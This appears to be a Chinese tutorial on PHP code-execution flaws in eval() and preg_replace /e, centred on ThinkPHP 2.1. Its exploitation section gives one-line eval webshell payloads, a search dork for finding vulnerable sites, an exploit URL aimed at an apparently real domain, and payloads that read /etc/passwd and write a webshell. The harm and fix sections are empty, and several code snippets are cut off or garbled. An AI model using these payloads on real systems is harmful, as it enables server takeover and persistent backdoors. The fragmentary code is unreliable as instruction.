内容
1、代码执行漏洞的概述
2、代码执行漏洞的危害
3、代码执行漏洞的利用
4、代码执行漏洞的防御
背景介绍
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
例子
PHP CMS中 settings的内容:
array(
'upload_maxsize' => '2048',
'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
'watermark_enable' => '1',
'watermark_minwidth' => '300',
'watermark_minheight' => '300',
'watermark_img' => '/statics/images/water/mark.png',
'watermark_pct' => '85',
'watermark_quality' => '80',
'watermark_pos' => '9' ,
)
PHP CMS中 很常用的string2array函数:
function string2array($data){
if($data == ''){
return array();
}
eval("\$array = $data;")
return $array;
}
PHP CMS中 很常用的string2array函数:
'aaaa',
'b'=>'222222',
'c'=>'',111=>phpinfo(),222=>'22'
)";
eval("\$arr = $data;");
?>
其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。
漏洞危害
相关函数
think2.1
//
$string = 'google 123, 456';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = 'runoob ${2},\\3';
echo preg_replace($pattern, $replacement, $string);
输出: runoob 123,456
intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
${@print(eval($_POST[1]))}
{${@eval($_POST[1])}}
http://www.ksftea.com/index.php/module/action/param1/${@print(eval($_POST[1]))}
eval()函数漏洞利用_1
eval()函数漏洞利用_2
eval()函数漏洞利用_3
preg_replace+/e利用
(.*)<\/data>/e’,‘$ret=“\\1”;’, $data);
echo $ret;
?>
php版本在5.5以上
漏洞利用
{${@eval($_POST[1])}} 一句话
{${exit(print(getcwd()))}} 获取当前工作路径
{${exit(var_dump(file_get_contents($_POST[f])))}}
读文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
写webshell f=1.php&d=1111111
漏洞修复方案
相关参考链接
http://www.jb51.net/hack/43074.html
http://0day5.com/archives/3139
http://www.kubiji.cn/topic-id1105.html